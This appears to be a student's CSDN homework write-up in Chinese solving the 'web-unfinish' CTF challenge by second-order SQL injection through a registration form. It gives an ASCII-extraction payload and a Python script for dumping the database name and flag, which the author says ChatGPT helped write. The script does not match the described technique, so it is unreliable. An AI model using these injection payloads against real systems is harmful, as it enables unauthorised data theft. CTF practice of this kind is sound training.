渗透测试第一次作业unfinish

首先在攻防世界题库找对对应题目web-unfinish,下载场景.

 扫描后台后发现register.php,进行修改后得到

进行注册:

在进行注册之后,页面跳转回login.php,很明显在注册界面跳转时出现了用户名并返回,对其进行检测 

在register.php中的insert语句注入username,在index.php中显示注入的结果

根据老师所给文档判断,后端使用用户名查询时造成sql注入利用0’+ascii(payload)+'0来获取到信息的ASCII码

构造payload:

0'+ascii(substr((select database()) from 1 for 1))+'0

根据文档python脚本进行修改,借助了ChatGPT,进行获取flag.自己对于Python脚本自主编写能力很差要多加练习,对于很多代码还是看不懂,需要借助工具来解释.

import requests  
import time  
from bs4 import BeautifulSoup  
  
def getDatabase():  
    database = ''  
    for i in range(100):  # 假设数据库名长度不超过100字符  
        data_database = {  
            'username': "' OR 1=1; SELECT ASCII(SUBSTRING(DATABASE(), %d, 1)) -- -" % (i+1),  
            'password': '1',  
            'email': '1@1' + str(i)  
        }  
        # 模拟注册过程(通常这里不会返回数据库名)  
        # requests.post("http://example.com/register.php", data_database)  
  
        # 假设登录过程返回了数据库名的某个字符的ASCII值  
        login_data = {  
            'username': "' OR 1=1; SELECT ASCII(SUBSTRING(DATABASE(), %d, 1)) -- -" % (i+1),  
            'password': '1',  
            'email': '1@1' + str(i)  
        }  
        response = requests.post("http://example.com/login.php", login_data)  
        html = response.text  
        soup = BeautifulSoup(html, 'html.parser')  
  
        # 假设登录响应的HTML中有一个<span>标签包含了ASCII值  
        getUsername = soup.find_all('span')  
        if getUsername:  
            username = getUsername[0].text  
            if username.isdigit():  
                database += chr(int(username))  
            else:  
                break  # 如果不是数字,可能是错误响应,跳出循环  
        else:  
            break  # 如果没有找到<span>标签,可能是错误响应,跳出循环  
  
    return database  
  
def getFlag():  
    flag = ''  
    for i in range(100):  # 假设flag长度不超过100字符  
        data_flag = {  
            'username': "' OR 1=1; SELECT ASCII(SUBSTRING((SELECT flag FROM flags LIMIT 1), %d, 1)) -- -" % (i+1),  
            'password': '1',  
            'email': '1@1' + str(i)  
        }  
        # 模拟注册过程(通常这里不会返回flag)  
        # requests.post("http://example.com/register.php", data_flag)  
  
        # 假设登录过程返回了flag的某个字符的ASCII值  
        login_data = {  
            'username': "' OR 1=1; SELECT ASCII(SUBSTRING((SELECT flag FROM flags LIMIT 1), %d, 1)) -- -" % (i+1),  
            'password': '1',  
            'email': '1@1' + str(i)  
        }  
        response = requests.post("http://example.com/login.php", login_data)  
        html = response.text  
        soup = BeautifulSoup(html, 'html.parser')  
  
        # 假设登录响应的HTML中有一个<span>标签包含了ASCII值  
        getUsername = soup.find_all('span')  
        if getUsername:  
            username = getUsername[0].text  
            if username.isdigit():  
                flag += chr(int(username))  
            else:  
                break  # 如果不是数字,可能是错误响应,跳出循环  
        else:  
            break  # 如果没有找到<span>标签,可能是错误响应,跳出循环  
  
    return flag  
  
print(getDatabase())  
print(getFlag())

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值